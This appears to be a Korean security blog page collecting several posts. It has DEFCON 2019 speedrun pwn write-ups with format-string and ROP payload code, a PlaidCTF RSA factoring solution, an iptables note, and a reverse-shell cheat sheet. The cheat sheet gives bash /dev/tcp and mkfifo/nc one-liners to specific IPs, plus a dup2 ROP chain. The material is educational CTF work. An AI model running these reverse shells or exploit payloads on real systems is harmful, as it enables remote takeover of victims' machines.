분류 전체보기
- Cloud9 사용 2019.05.21
- [C교육] 6주차 교육자료 (마지막) 2019.05.20
- [glibc] 동작방식 (glibc 2.25 이전/ 2.26 이후(tcache)) 2019.05.17
- [C언어 교육] 5주차 2019.05.14
- [DEFCON 2019 Quals] speedrun 2019.05.14
- System Call Table x86 x64 2019.05.11
- [C언어 교육] 4주차 2019.05.08
- [Reverse Connect] dup2, 리버스쉘, reverse 2019.04.29
- [Ubuntu] 서버포트열기 2019.04.29
- [PlaidCTF 2019] R u SAd? 2019.04.18
Cloud9 사용
[C교육] 6주차 교육자료 (마지막)
[glibc] 동작방식 (glibc 2.25 이전/ 2.26 이후(tcache))
[C언어 교육] 5주차
[DEFCON 2019 Quals] speedrun
Speedrun Exploit code - github
speedrun-001
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
- stage 1. Write "/bin/sh\x00" in the bss area`
- stage 2. execve("/bin/sh", NULL, NULL);`
- get shell
SROP
문제입니다. "/bin/sh"를 read를 이용해 bss영역에 쓰고 execve를 syscall하여 shell을 획득합니다.
speedrun-002
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
이번엔 ROP
입니다. puts
를 이용해서 puts나 read의 함수주소를 leak
하고, onegadget
을 이용하여 바로 exploit
해줬습니다.
speedrun-004
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
speedrun001
과 비슷합니다. srop
를 사용합니다. 257바이트까지 입력할 수있는데 1바이트 오버플로우가 나서 rbp의 하위 1바이트를 덮을 수 있습니다. fake ebp -> ret sled -> srop
순서로 공격하면됩니다. rbp
의 하위 1바이트를 \x00
으로 하고 ret
가젯을 충분히 넣어두면 알아서 srop
에 해당하는 부분(shellcode)으로 갈 것입니다.
speedrun-005
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
#포맷스트링버그
#FSB
너무 멍청하게 풀어서 대회 당시에 4시간이나 삽질을 한 문제이다. printf(&buf)
에서 FSB
가 터지는데, printf로 출력할 때 \x00
을 만나면 거기까지만 출력해준다. 그런데 여기서 멍청하게 생각을 못한게 어짜피 read로 읽어서 스택에는 데이터가 들어간다는것을 잊고있었다.(아오)
그래서 그냥 스택에 got
를 적당한것 puts GOT를 넣고 다시 FSB
를 읽으켜서 GOT
를 원샷으로 덮어주면 간단하다. 이걸 못맞추다니;;; 근데 끝나고 풀어보려고하니까 데프콘서버쪽에 바이너리가 바뀌어서 익스가 안됨 ㅡㅡ; 서버쪽에는 puts GOT가 0x601020이던데, 뭔일인지...
참고로 FSB
payload는 pwntool의 fmtstr_payload를 쓰면 빠르게 할 수 있다. 물론 이 함수가 조금 멍청해서 target_address를 payload앞에 집어넣어서 64bit환경일 경우 printf에서 \x00
으로 진작에 끊겨버리므로 아래와 같은 트릭을 써서 따로 계산해주는게 낫다.
# make fsb payload
context.clear(arch = 'amd64')
fsb_payload = fmtstr_payload(30, writes={print_got:0x40069D}, numbwritten=(-64+24), write_size='byte')
# this function create stupid string. start payload null(\x00)
# null(\x00) is string end, printf is end. so addresses need to go to the payload end
# so, numbwritten=(-64+24) is alreay payload(24) + got_address(-8*8=-64)
fsb_payload = fsb_payload[64:]
# leak _IO_stdfile_1_lock
# stage 1. puts GOT overwrite FSB vuln function
payload = "%122$16lx" # start offset 6
payload += "A"*8
payload += fsb_payload
payload += ((8*24)-len(payload))*"A" # padding 30-6 offset (target_offset - strat_offset)
payload += p64(print_got)
payload += p64(print_got + 1)
payload += p64(print_got + 2)
payload += p64(print_got + 3)
payload += p64(print_got + 4)
payload += p64(print_got + 5)
payload += p64(print_got + 6)
payload += p64(print_got + 6)
payload += p64(print_got + 7)
대략 설명하면 30
오프셋부터 print_got
가 나온다고보고 numbwritten은 기존 페이로드에 먼저쓰인 16+8
바이트에 쓸모없는 64
를 뺀 값을 넣고, byte
단위의 FSB
payload이므로 8개의 address를 맨뒤에 넣어준다. 중간에 중요한 fsb다음에는 30
오프셋까지 패딩해주면된다.
speedrun-007
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
OOB
라고 해야할까. 암튼 Relative write
가 가능하다. 0x638
을 오프셋으로하면 main
함수의 ret(__libc_start_main+231
)를 덮어쓸 수 있는데, 이것을 onegadget
으로 덮으면 main에서 리턴하면 쉘이 따진다.
물론 확률이 낮다. libc_base + 0x4f322이므로 뒤 6자리만 잘 맞추면 쉘이 따지는데, 여기서 뒤 3자리는 알고 있으니 나머지 16진수 3자리를 맞춰주면 된다. 즉 경우의 수는 0x000~0xFFF로 4096개이다.
그런데, leak도 한번 제대로 못해봣는데... 이렇게 대충 one_gadget으로 맞추는 문제로 괜찮은건가? 게다가 speedrun이라고 문제를 내놓고 확률에 맡기는 문제라니 ... 좋은 문제는 아니지만 이렇게 풀수도있다는 것을 보여주는 문제인 것같다.
speedrun-008
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: canary found
NX: NX enabled
PIE: No PIE (0x400000)
그냥 실행하면 아무것도 안뜬다. 그래서 시작하자마자 엄청 답답한 문제였는데... 사실 무한루프를 도는 것이다;
그리고 문제를 잘 읽었어야했다. speedrun001을 보면 아래와 같이 적혀잇다.
For all speedrun challenges, flag is in /flag
그리고 이 문제를 strace로 돌려보면
myria@ubuntu:~/CTF/DEFCON2019/speedrun008$ strace ./speedrun-008
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
read(-1, 0x7ffeac0788f0, 1) = -1 EBADF (Bad file descriptor)
...
...
망할 뭔가 계속 read 실패로 무한루프를 돈다. 그리고 서버에 접속해보면 프로그램이 정상적으로 실행되는 것을 알 수 있는데... 이게 로컬에서 안돌아가는 이유가 /flag
가 없어서이다...
어우야ㅠ..
그리고 IDA에서 발견한 또 한가지...
.init_array:00000000006B6138 ; Segment type: Pure data
.init_array:00000000006B6138 ; Segment permissions: Read/Write
.init_array:00000000006B6138 ; Segment alignment 'qword' can not be represented in assembly
.init_array:00000000006B6138 _init_array segment para public 'DATA' use64
.init_array:00000000006B6138 assume cs:_init_array
.init_array:00000000006B6138 ;org 6B6138h
.init_array:00000000006B6138 off_6B6138 dq offset sub_400B20 ; DATA XREF: .text:0000000000401A22↑o
.init_array:00000000006B6138 ; .text:0000000000401A2B↑o ...
.init_array:00000000006B6140 dq offset init_canary
.init_array:00000000006B6148 dq offset sub_4005A0
.init_array:00000000006B6148 _init_array ends
.init_array에 sub_400B4D
가 등록되있는데, 임의로 이름은 init_canary
로 변경하였다. 이런 문제 예전에도 보았다. canary 우회방법중 하나로 Canary 루틴 노출이 유출되었을때가 있었는데... 멍청하게 또 잊어버림 ㅡㅡ;
예전에 풀었던 Canary 루틴 노출문제
어쨋든 다시 여기 문제로 돌아와서, canary를 무엇으로 설정하냐고 하면 /flag
파일을 읽어서 이를 기반으로 canary
를 생성한다. 물론 역연산하는것은 어렵다. 하지만 flag
가 변할 일은 없으니 canary
값은 항상 같다.
그럼 bruteforcing
으로 canary
를 구하고 그 후에는 rop
를 할 뿐인 문제다.
speedrun-009
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호기법이 다 걸려있습니다. 하지만 그 만큼 문제 자체도 취약점이 많습니다. 문제를 실행하면 1, 2, 3의 선택지가 주어지는데. 1
번은 BOF
가 발생하고 2
번은 FSB
가 일어납니다.
FSB
를 이용해 Canary
, Libc Address
, PIE address
를 leak
할 수 있고, 이제 BOF
를 이용해서 onegadget
을 사용하면 쉽습니다.
speedrun-010
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
마찬가지로 모든 보호기법이 다 걸려있습니다. 이번 문제의 취약점은 UAF
입니다. name
와 msg
가 모두 0x30
으로 malloc되고, 값이 리셋되거나 초기화되지않기때문에 puts
로 puts
를 leak
할 수 있고, puts
자리에 system
함수를 넣어서 /bin/sh
를 실행시킬 수도 있다.
'Write-up > Pwnable' 카테고리의 다른 글
[CODEGATE 2015] yocto (RTDL) (0) | 2019.07.13 |
---|---|
[PlaidCTF 2015] plaiddb writeup (0) | 2019.07.11 |
[Codegate 2019] aeiou Write-up (0) | 2019.02.09 |
[Codegate 2019] 20000 ( grep 이용하기) (0) | 2019.01.30 |
[Insomni'hack 2019] onewrite writeup (0) | 2019.01.21 |
System Call Table x86 x64
x86
http://syscalls.kernelgrok.com/
x64
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
syscall, system call, 시스템콜 테이블
'Pwnable!!' 카테고리의 다른 글
멜트다운과 스펙터(Meltdown and Spectre) (0) | 2019.06.01 |
---|---|
[glibc] 동작방식 (glibc 2.25 이전/ 2.26 이후(tcache)) (0) | 2019.05.17 |
[Reverse Connect] dup2, 리버스쉘, reverse (0) | 2019.04.29 |
[main_arena_offset] libc파일에서 main_arena 오프셋 구하기 (0) | 2019.01.27 |
[C] read 함수 (0) | 2019.01.21 |
[C언어 교육] 4주차
[Reverse Connect] dup2, 리버스쉘, reverse
그냥 안되서 임시포트들을 쓰기로 했다. 이것들 쓰니까 잘되넹 ㅎㅎ
8000 ~ 8002 나 8080 ~ 8083 같은것들을 쓰면 된다. 아주 편하다!
8000
8001
8002
8080
8081
8082
8083
9090
또는 호스트에서 2개 nc로 열어서 입력과 출력을 담당하게 해서, 공격서버의 /bin/sh와 연결해서 쓰기
nc localhost 8080|/bin/sh|nc localhost 9090
아니면 아래와 같이도 사용가능하다.
공격자 : nc -lvp 8080
희생자 : bash -i>& /dev/tcp/공격자아이피/포트 0>&1
bash -i>& /dev/tcp/168.188.123.187/8080 0>&1
* nc에서 e 옵션 없이 reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.69 1337 >/tmp/f
그 외에도 ROP나 Shellcode 사용이 가능하다면 dup2를 이용해서 fd를 복사해사용할 수 있다.
보통 소켓으로 돌아가는 프로그램에서 사용하는 fd때문에 system함수로 /bin/sh를 실행하여 쉘을 따도 리모트서버에서만 쉘이 따지는데
dup2를 이용해서 사용자 fd를 stdin과 stdout으로 리다이렉트 시켜주면된다.
ROP나 SHELLCODE를 다음과 같이 사용할 수 있도록해주면 된다.
dup2(fd, 1) - dup2(fd, 0) - system("/bin/sh")
#Stage 1 - dup2(fd ,1) # copy fd
payload += p64(pop_rsi)
payload += p64(1)
payload += p64(dup2)
#Stage 1 - dup2(fd ,0)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(dup2)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
'Pwnable!!' 카테고리의 다른 글
[glibc] 동작방식 (glibc 2.25 이전/ 2.26 이후(tcache)) (0) | 2019.05.17 |
---|---|
System Call Table x86 x64 (0) | 2019.05.11 |
[main_arena_offset] libc파일에서 main_arena 오프셋 구하기 (0) | 2019.01.27 |
[C] read 함수 (0) | 2019.01.21 |
Heap Overflow Chunk Size 조작 (feat. invalid next size ) (0) | 2018.10.09 |
[Ubuntu] 서버포트열기
1. 열려있는 모든 포트 표시
netstat - nap
2. 특정포트 외부에서 접속할 수 있도록 열기
방화벽 규칙 1번으로 외부에서 들어오는(INBOUND) TCP포트 8534의 연결을 받아들인다는 규칙 ㅜ가
iptables -I INPUT 1 -p tcp --dport 8534 -j ACCEPT
-I (대문자 I) : 새로운 규칙을 추가한다.
-p : 패킷의 프로토콜을 명시한다.
-j : 규칙에 해당되는 패킷을 어떻게 처리할지를 정한다.
3. 추가한 설정 조회
iptables -L -v
-L : 규칙을 출력
-v : 자세히
4. 추가한 설정 삭제
(1) 추가한 규칙의 번호로 삭제하는 방법
iptables -D INPUT 1
(2) 추가한 규칙으로 삭제
iptables -I INPUT 1 -p tcp --dport 8534 -j ACCEPT
-D : 해당 규칙을 삭제
'ETC' 카테고리의 다른 글
IDA 단축키 (0) | 2019.11.09 |
---|---|
python3 pyjail (0) | 2019.07.08 |
스테가노그래피 툴 (0) | 2019.04.05 |
TOOL (0) | 2018.08.03 |
strace 사용법 (0) | 2018.06.10 |
[PlaidCTF 2019] R u SAd?
Description
Tears dripped from my face as I stood over the bathroom sink. Exposed again! The tears melted into thoughts, and an idea formed in my head. This will surely keep my secrets safe, once and for all. I crept back to my computer and began to type.
문제에서 RSA
파이썬 스크립트와 함께 암호화된 flag.enc
파일과 공개키 key.sad.pub
가 주어진다. key.sad.pub
는 python의 pickle
모듈을 통해 dump된 Key클래스 파일이다.
먼저 키 생성이 어떻게되는 것인지를 살펴보면 아래와 같습니다.
def genkey(bits):
assert bits % 2 == 0
while True:
p = genprime(bits // 2)
q = genprime(bits // 2)
e = 65537
d, _, g = egcd(e, (p-1) * (q-1))
if g != 1: continue
iQmP, iPmQ, _ = egcd(q, p)
return Key(
N=p*q, P=p, Q=q, E=e, D=d%((p-1)*(q-1)), DmP1=d%(p-1), DmQ1=d%(q-1),
iQmP=iQmP%p, iPmQ=iPmQ%q, bits=bits,
)
여기서 key.sad.pub
은 N, iQmP, iPmQ, bits
만이 남아있고, 나머지는 다 제거된 상태입니다.
iQmP, iPmQ, _ = egcd(q, p)
iQmP = a, iPmQ = b라고 나타내면 Bézout's identity
에 의해서 a*q+b*p=1
이 성립합니다.
거기에
iQmP=iQmP%p, iPmQ=iPmQ%q
으로 되기 때문에 이 iQmP = A, iPmQ = B라고 다시하면 아래와 같이 나타낼 수 있습니다.이제 여기서 A*q + B*p
를 계산해봅시다.
여기서 aq+bp=1
이고 n=pq
이므로 다시 정리하면 아래와 같습니다.
그런데 이때 우리는 A와 B가 p와 q에 의해 나머지연산된 것이라는 것을 압니다. 그러므로
이고 결국 아래와 같습니다.
이제 양옆에 p
를 곱하게되면 아래와 같이 정리됩니다.
이제 우리가 잘아는 근의 공식을 사용하면 p
를 구할 수 있습니다.
BAN = ((N+1)**2) - 4*B*A*N
BAN, _ = gmpy.root(D, 2)
T = ((N+1)-(BAN))//(2*B)
P = T
Q = N/P
print(N==P*Q)
print("p : " + str(P))
print("q : " + str(Q))
myria@ctf:~/CTF/PlaidCTF/rusad$ python get_pq.py
p : 31659077809885706699482361830477717572837081779677626435829903374921581240849180063108552019274021826092781287218568613206006085334956822705610578514426596962412655157776833178744403034727698399320215892200440936975683502329350531806920697009386909154114556681774784614085691096050135180228131842452179315216957730905902673882170120973148157907231188547167482558383495097819905373068326760590890291412820411304614611983343203819383860434964843931325658872603238498210722446318497674396725811567139923114789843056157733621133155720503541819498078610854651245426825738313809229403279974283490718799392611854934535622307
q : 25004672227855409995386175663336188685177638541286666056441830847618100808198668167307814236224429885295241140194633625051478252429462828073782848889819460674774292004752724556602147320684206242726073358822655212944688523823150236245522627662371134165404316388528738697090763677910441487876514668914442018764569771021916503649822836288868439220382922721194436569302106969570041514638164319835688101248578648742016186666021527781591528560611986692317045407081396778512783312692838307769559661780971287324753785154074832628454871505400166651610503632212720604214996108967812794633118832616768643612648168060802523582631
이제 주어진 rusad.py
를 이용해 key파일을 만들어준 후, decrypt하면됩니다.
myria@ctf:~/CTF/PlaidCTF/rusad$ python3 rusad.py decrypt -i flag.enc -o flag -k attack.priv
PCTF{Rub_your_hands_palm_to_palm_vigorously_for_at_least_20_seconds_to_remove_any_private_information}
'Write-up > Crypto' 카테고리의 다른 글
[2019 SSTF OpenCTF] Certain_parts_are_as_hard_as_the_whole (RSA LSB Oracle) (0) | 2019.08.28 |
---|---|
[RedpwnCTF] Binary (RSA LSB Oracle Attack) (0) | 2019.08.17 |
[VolgaCTF 2019] Blind (0) | 2019.04.03 |
[BSidesSF 2019] mixxer (0) | 2019.03.08 |
[2018 X-MAS CTF] Special Christmas Wishlist (0) | 2018.12.26 |